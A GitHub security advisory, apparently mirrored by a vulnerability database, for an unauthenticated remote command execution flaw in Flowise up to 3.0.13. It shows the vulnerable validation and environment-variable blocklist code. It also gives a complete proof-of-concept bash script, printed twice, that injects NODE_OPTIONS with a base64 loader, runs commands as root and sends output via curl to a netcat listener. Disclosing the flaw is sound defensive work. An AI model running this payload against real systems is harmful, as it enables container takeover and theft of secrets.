GHSA-CVRR-QHGW-2MM6
Vulnerability from github – Published: 2026-04-16 21:46 – Updated: 2026-04-16 21:46Summary
Flowise is vulnerable to a critical unauthenticated remote command execution (RCE) vulnerability. It can be exploited via a parameter override bypass using the FILE-STORAGE:: keyword combined with a NODE_OPTIONS environment variable injection. This allows for the execution of arbitrary system commands with root privileges within the containerized Flowise instance, requiring only a single HTTP request and no authentication or knowledge of the instance.
Details
The vulnerability is in a validation check within the replaceInputsWithConfig function within packages/server/src/utils/index.ts. The check for FILE-STORAGE:: was intended to handle file-type inputs but has three issues:
-
Uses .includes() instead of .startsWith(): The check passes if FILE-STORAGE:: appears ANYWHERE in the string, not just at the beginning. A remote user can embed it in a comment: / FILE-STORAGE:: / { custom config }
-
No parameter type validation: The check doesn't verify that the parameter is actually a file-type input. It applies to ANY parameter name, including mcpServerConfig.
-
Complete bypass, not partial: When the check passes, it skips the isParameterEnabled() call entirely, allowing modification of parameters that administrators never authorized.
Vulnerable Code (FILE-STORAGE:: bypass):
// packages/server/src/utils/index.ts, line 1192-1198
// Skip if it is an override "files" input, such as pdfFile, txtFile, etc
if (typeof overrideConfig[config] === 'string' && overrideConfig[config].includes('FILE-STORAGE::')) {
// pass <-- BYPASSES ALL VALIDATION
} else if (!isParameterEnabled(flowNodeData.label, config)) {
// Only proceed if the parameter is enabled
continue
}
This bypass allows an attacker to override the mcpServerConfig and inject a malicious NODE_OPTIONS value. The Custom MCP node's environment variable blocklist does not include NODE_OPTIONS, enabling an attacker to use the --experimental-loader to execute arbitrary JavaScript code before the main process starts.
Vulnerable Code (NODE_OPTIONS not blocked):
// packages/components/nodes/tools/MCP/core.ts, line 248-254
const dangerousEnvVars = ['PATH', 'LD_LIBRARY_PATH', 'DYLD_LIBRARY_PATH']
for (const [key, value] of Object.entries(env)) {
if (dangerousEnvVars.includes(key)) {
throw new Error(`Environment variable '${key}' modification is not allowed`)
}
}
Requirements
API Override Enabled The chatflow must have "API Override" toggled ON in Chatflow Configuration. Public Chatflow The chatflow must be shared publicly. MCP Node The chatflow must contain a MCP tool node (Custom MCP tool was tested and confirmed).
Although not enabled by default, the API Override feature is a powerful and officially documented capability that may be used in production deployments. Its primary purpose is to make chatflows dynamic and user-aware.
Common use cases that necessitate enabling this feature include:
- Session Management: Passing a unique
sessionIdorchatIdfor each user to maintain separate conversation histories. - User-Specific Variables: Injecting user data such as name, preferences, or role into prompts to create personalized experiences.
- Dynamic Tool Selection: Allowing users to specify which data sources or APIs to query based on their needs.
- Multi-Tenant Applications: Supporting different configurations for each customer or organization without deploying separate chatflows.
- A/B Testing: Evaluating different prompts or models in a live environment.
Setup
To reproduce the vulnerability, follow these steps:
Step 1: Start Flowise Instance
docker run -d --name flowise-test -p 3000:3000 flowiseai/flowise:latest
Step 2: Configure a Public Chatflow with MCP Tool
- Navigate to
http://localhost:3000and create an account. - Create a new chatflow.
- Add a
Custom MCPnode and aCustom JS Functionnode. - Connect the
Custom MCPoutput to theCustom JS Function's tools input. - Configure the
Custom JS Functionto be anEnding Nodewith the code:return $tools ? "Tools loaded" : "No tools"; - Configure the
Custom MCPwith the MCP Server Config:{"command":"npx","args":["-y","@modelcontextprotocol/server-everything"]} - Save the chatflow and note the
chatflowIdfrom the URL. - In Chatflow Configuration, enable API Override and make the chatflow Public.
PoC
Single-Request RCE with remote command output retrieval. The following demonstrates arbitrary command execution with automatic data transmission to a remote listener:
Step 1: Setup Listener
# Start netcat listener to receive transmitted data
# Note: If testing locally, run this in a separate terminal
nc -lvnp 5000
echo "Listener started on port 5000..."
Step 2: Trigger Exploit
#!/bin/bash
CHATFLOW_ID="ABC-123-..."
TARGET="http://localhost:3000"
LISTENER_IP="172.17.0.1" # Docker local IP for testing
# Payload: Execute commands and transmit output to remote listener
LOADER_CODE='import{execSync}from"child_process";const cmd="id && pwd && ls";const out=execSync(cmd).toString();try{execSync("curl -s -m 3 --data-binary \""+out+"\" http://'$LISTENER_IP':5000");}catch(e){}export{};'
ENCODED=$(echo -n "$LOADER_CODE" | base64 | tr -d '\n')
# Construct the crafted MCP config
CONFIG='{"command":"npx","args":["-y","@modelcontextprotocol/server-everything"],"env":{"NODE_OPTIONS":"--experimental-loader data:text/javascript;base64,'$ENCODED'"}}'
CONFIG_ESCAPED=$(echo "$CONFIG" | sed 's/"/\\"/g')
# Single request triggers RCE
curl -X POST "$TARGET/api/v1/prediction/$CHATFLOW_ID" \
-H "Content-Type: application/json" \
-d "{
\"question\": \"trigger\",
\"overrideConfig\": {
\"mcpServerConfig\": \"/* FILE-STORAGE:: */ $CONFIG_ESCAPED\"
}
}"
Step 3: Verify Command Execution
# Check the listener output
Connection received...
POST / HTTP/1.1
Host: 172.17.0.1:5000
User-Agent: curl/8.17.0
Accept: */*
Content-Length: 214
Content-Type: application/x-www-form-urlencoded
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/
bin
dev
etc
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
Impact
This vulnerability allows for:
- Full Container Compromise: Arbitrary command execution as the root user.
- Data Exfiltration: Access to all secrets, credentials, and user data within the container.
- Lateral Movement: A pivot point for attacking internal networks and other connected systems.
The exploit requires no prior authentication, no specific knowledge of the target instance, and is executed with a single HTTP POST request, making it a critical and easily exploitable vulnerability.
Credit
Jeremy Brown
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.0.13"
},
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.0.13"
},
"package": {
"ecosystem": "npm",
"name": "flowise-components"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-20"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T21:46:39Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nFlowise is vulnerable to a critical unauthenticated remote command execution (RCE) vulnerability. It can be exploited via a parameter override bypass using the `FILE-STORAGE::` keyword combined with a `NODE_OPTIONS` environment variable injection. This allows for the execution of arbitrary system commands with root privileges within the containerized Flowise instance, requiring only a single HTTP request and no authentication or knowledge of the instance.\n\n### Details\n\nThe vulnerability is in a validation check within the `replaceInputsWithConfig` function within `packages/server/src/utils/index.ts`. The check for `FILE-STORAGE::` was intended to handle file-type inputs but has three issues:\n\n1. Uses\u00a0.includes()\u00a0instead of\u00a0.startsWith(): The check passes if\u00a0FILE-STORAGE::\u00a0appears ANYWHERE in the string, not just at the beginning. A remote user can embed it in a comment:\u00a0/* FILE-STORAGE:: */ { custom config }\n\n2. No parameter type validation: The check doesn\u0027t verify that the parameter is actually a file-type input. It applies to ANY parameter name, including\u00a0mcpServerConfig.\n\n3. Complete bypass, not partial: When the check passes, it skips the\u00a0isParameterEnabled()\u00a0call entirely, allowing modification of parameters that administrators never authorized.\n\n**Vulnerable Code (`FILE-STORAGE::` bypass):**\n```typescript\n// packages/server/src/utils/index.ts, line 1192-1198\n// Skip if it is an override \"files\" input, such as pdfFile, txtFile, etc\nif (typeof overrideConfig[config] === \u0027string\u0027 \u0026\u0026 overrideConfig[config].includes(\u0027FILE-STORAGE::\u0027)) {\n // pass \u003c-- BYPASSES ALL VALIDATION\n} else if (!isParameterEnabled(flowNodeData.label, config)) {\n // Only proceed if the parameter is enabled\n continue\n}\n```\n\nThis bypass allows an attacker to override the `mcpServerConfig` and inject a malicious `NODE_OPTIONS` value. The `Custom MCP` node\u0027s environment variable blocklist does not include `NODE_OPTIONS`, enabling an attacker to use the `--experimental-loader` to execute arbitrary JavaScript code before the main process starts.\n\n**Vulnerable Code (`NODE_OPTIONS` not blocked):**\n```typescript\n// packages/components/nodes/tools/MCP/core.ts, line 248-254\nconst dangerousEnvVars = [\u0027PATH\u0027, \u0027LD_LIBRARY_PATH\u0027, \u0027DYLD_LIBRARY_PATH\u0027]\n\nfor (const [key, value] of Object.entries(env)) {\n if (dangerousEnvVars.includes(key)) {\n throw new Error(`Environment variable \u0027${key}\u0027 modification is not allowed`)\n }\n}\n```\n\n### Requirements\n\n**API Override Enabled**\nThe chatflow must have \"API Override\" toggled ON in Chatflow Configuration.\n**Public Chatflow**\nThe chatflow must be shared publicly.\n**MCP Node**\nThe chatflow must contain a MCP tool node (Custom MCP tool was tested and confirmed).\n\nAlthough not enabled by default, the API Override feature is a powerful and officially documented capability that may be used in production deployments. Its primary purpose is to make chatflows dynamic and user-aware.\n\nCommon use cases that necessitate enabling this feature include:\n\n* **Session Management:** Passing a unique `sessionId` or `chatId` for each user to maintain separate conversation histories.\n* **User-Specific Variables:** Injecting user data such as name, preferences, or role into prompts to create personalized experiences.\n* **Dynamic Tool Selection:** Allowing users to specify which data sources or APIs to query based on their needs.\n* **Multi-Tenant Applications:** Supporting different configurations for each customer or organization without deploying separate chatflows.\n* **A/B Testing:** Evaluating different prompts or models in a live environment.\n\n### Setup\n\nTo reproduce the vulnerability, follow these steps:\n\n**Step 1: Start Flowise Instance**\n\n```bash\ndocker run -d --name flowise-test -p 3000:3000 flowiseai/flowise:latest\n```\n\n**Step 2: Configure a Public Chatflow with MCP Tool**\n\n1. Navigate to `http://localhost:3000` and create an account.\n2. Create a new chatflow.\n3. Add a `Custom MCP` node and a `Custom JS Function` node.\n4. Connect the `Custom MCP` output to the `Custom JS Function`\u0027s tools input.\n5. Configure the `Custom JS Function` to be an `Ending Node` with the code: `return $tools ? \"Tools loaded\" : \"No tools\";`\n6. Configure the `Custom MCP` with the MCP Server Config: `{\"command\":\"npx\",\"args\":[\"-y\",\"@modelcontextprotocol/server-everything\"]}`\n7. Save the chatflow and note the `chatflowId` from the URL.\n8. In Chatflow Configuration, **enable API Override** and make the chatflow **Public**.\n\n### PoC\n\nSingle-Request RCE with remote command output retrieval. The following demonstrates arbitrary command execution with automatic data transmission to a remote listener:\n\n#### Step 1: Setup Listener\n```bash\n# Start netcat listener to receive transmitted data\n# Note: If testing locally, run this in a separate terminal\nnc -lvnp 5000\necho \"Listener started on port 5000...\"\n```\n\n#### Step 2: Trigger Exploit\n```bash\n#!/bin/bash\n\nCHATFLOW_ID=\"ABC-123-...\"\nTARGET=\"http://localhost:3000\"\nLISTENER_IP=\"172.17.0.1\" # Docker local IP for testing\n\n# Payload: Execute commands and transmit output to remote listener\nLOADER_CODE=\u0027import{execSync}from\"child_process\";const cmd=\"id \u0026\u0026 pwd \u0026\u0026 ls\";const out=execSync(cmd).toString();try{execSync(\"curl -s -m 3 --data-binary \\\"\"+out+\"\\\" http://\u0027$LISTENER_IP\u0027:5000\");}catch(e){}export{};\u0027\n\nENCODED=$(echo -n \"$LOADER_CODE\" | base64 | tr -d \u0027\\n\u0027)\n\n# Construct the crafted MCP config\nCONFIG=\u0027{\"command\":\"npx\",\"args\":[\"-y\",\"@modelcontextprotocol/server-everything\"],\"env\":{\"NODE_OPTIONS\":\"--experimental-loader data:text/javascript;base64,\u0027$ENCODED\u0027\"}}\u0027\nCONFIG_ESCAPED=$(echo \"$CONFIG\" | sed \u0027s/\"/\\\\\"/g\u0027)\n\n# Single request triggers RCE\ncurl -X POST \"$TARGET/api/v1/prediction/$CHATFLOW_ID\" \\\n -H \"Content-Type: application/json\" \\\n -d \"{\n \\\"question\\\": \\\"trigger\\\",\n \\\"overrideConfig\\\": {\n \\\"mcpServerConfig\\\": \\\"/* FILE-STORAGE:: */ $CONFIG_ESCAPED\\\"\n }\n }\"\n```\n\n#### Step 3: Verify Command Execution\n```\n# Check the listener output\nConnection received...\nPOST / HTTP/1.1\nHost: 172.17.0.1:5000\nUser-Agent: curl/8.17.0\nAccept: */*\nContent-Length: 214\nContent-Type: application/x-www-form-urlencoded\n\nuid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n/\nbin\ndev\netc\nhome\nlib\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n```\n\n### Impact\n\nThis vulnerability allows for:\n\n* **Full Container Compromise:** Arbitrary command execution as the root user.\n* **Data Exfiltration:** Access to all secrets, credentials, and user data within the container.\n* **Lateral Movement:** A pivot point for attacking internal networks and other connected systems.\n\nThe exploit requires no prior authentication, no specific knowledge of the target instance, and is executed with a single HTTP POST request, making it a critical and easily exploitable vulnerability.\n\n### Credit\n\nJeremy Brown",
"id": "GHSA-cvrr-qhgw-2mm6",
"modified": "2026-04-16T21:46:39Z",
"published": "2026-04-16T21:46:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-cvrr-qhgw-2mm6"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Flowise: Parameter Override Bypass Remote Command Execution"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.